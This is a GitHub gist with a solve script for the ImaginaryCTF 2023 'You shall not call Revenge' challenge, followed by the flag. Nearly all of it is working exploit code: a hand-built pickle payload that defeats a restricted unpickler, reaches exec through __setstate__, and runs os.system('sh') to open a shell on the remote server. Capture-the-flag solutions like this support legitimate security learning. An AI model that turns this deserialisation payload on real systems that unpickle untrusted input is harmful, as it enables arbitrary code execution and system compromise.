Skip to content

Instantly share code, notes, and snippets.

@lebr0nli
Created July 23, 2023 06:43
Show Gist options
  • Save lebr0nli/53216005991d012470c0bde0f38952b1 to your computer and use it in GitHub Desktop.
Save lebr0nli/53216005991d012470c0bde0f38952b1 to your computer and use it in GitHub Desktop.
ImaginaryCTF 2023 - You shall not call Revenge (misc)
from pwn import *
import pickletools
def conn() -> tube:
if args.LOCAL:
return process(["python", "server.py"])
return remote("you-shall-not-call-revenge.chal.imaginaryctf.org", 1337)
def main() -> None:
data = pickle.PROTO + bytes([5])
# load __main__
data += pickle.GLOBAL + b"__main__\n__main__\n"
# memo[0] = SecureUnpickler
data += pickle.GLOBAL + b"__main__\nSecureUnpickler\n"
data += pickle.BINPUT + bytes([0])
data += pickle.POP
# __main__.__main__ = pickle
data += pickle.MARK
data += pickle.UNICODE + b"__main__\n"
data += pickle.GLOBAL + b"__main__\npickle\n"
data += pickle.DICT
data += pickle.BUILD
# __main__.__main__ = codecs
data += pickle.MARK
data += pickle.UNICODE + b"__main__\n"
data += pickle.GLOBAL + b"__main__\ncodecs\n" # pickle.codecs
data += pickle.DICT
data += pickle.BUILD
# __main__.__main__ = builtins
data += pickle.MARK
data += pickle.UNICODE + b"__main__\n"
data += pickle.GLOBAL + b"__main__\nbuiltins\n" # codecs.builtins
data += pickle.DICT
data += pickle.BUILD
# memo[1] = print
data += pickle.GLOBAL + b"__main__\nprint\n"
data += pickle.BINPUT + bytes([1])
data += pickle.POP
# __main__.__main__ = SecureUnpickler
data += pickle.MARK
data += pickle.UNICODE + b"__main__\n"
data += pickle.BINGET + bytes([0])
data += pickle.DICT
data += pickle.BUILD
# __main__.__main__ = SecureUnpickler.__init__
data += pickle.MARK
data += pickle.UNICODE + b"__main__\n"
data += pickle.GLOBAL + b"__main__\n__init__\n"
data += pickle.DICT
data += pickle.BUILD
# __main__.__main__= memo[2] = SecureUnpickler.__init__.__builtins__
data += pickle.MARK
data += pickle.UNICODE + b"__main__\n"
data += pickle.GLOBAL + b"__main__\n__builtins__\n"
data += pickle.BINPUT + bytes([2])
data += pickle.DICT
data += pickle.BUILD
# setattr(SecureUnpickler, "find_class", SecureUnpickler.__init__.__builtins__.get)
data += pickle.BINGET + bytes([0])
data += pickle.NONE
data += pickle.MARK
data += pickle.UNICODE + b"find_class\n"
data += pickle.GLOBAL + b"__main__\nget\n"
data += pickle.DICT
data += pickle.TUPLE2
data += pickle.BUILD
data += pickle.POP
# __main__.__setstate__ = exec
data += pickle.MARK
data += pickle.UNICODE + b"__setstate__\n"
data += pickle.UNICODE + b"exec\n"
# SecureUnpickler.__init__.__builtins__.update({"type": print, "str": None})
data += pickle.BINGET + bytes([2])
data += pickle.MARK
data += pickle.UNICODE + b"str\n"
data += pickle.NONE
data += pickle.UNICODE + b"type\n"
data += pickle.BINGET + bytes([1])
data += pickle.SETITEMS
# find_class("exec", xxxx) -> SecureUnpickler.__init__.__builtins__.get("exec") -> exec
data += pickle.STACK_GLOBAL
data += pickle.DICT
data += pickle.BUILD
# import os;os.system('sh')
data += pickle.STRING + b"\"import os;os.system('sh')\"\n"
data += pickle.BUILD
data += pickle.STOP
pickletools.dis(data)
with conn() as io:
io.sendlineafter(b"$ ", data.hex().encode())
io.interactive()
if __name__ == "__main__":
main()
# ictf{I_h0p3_y0ur_c4ll_f1ll3d_7h3_r3g1str4t10n_f0rm}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment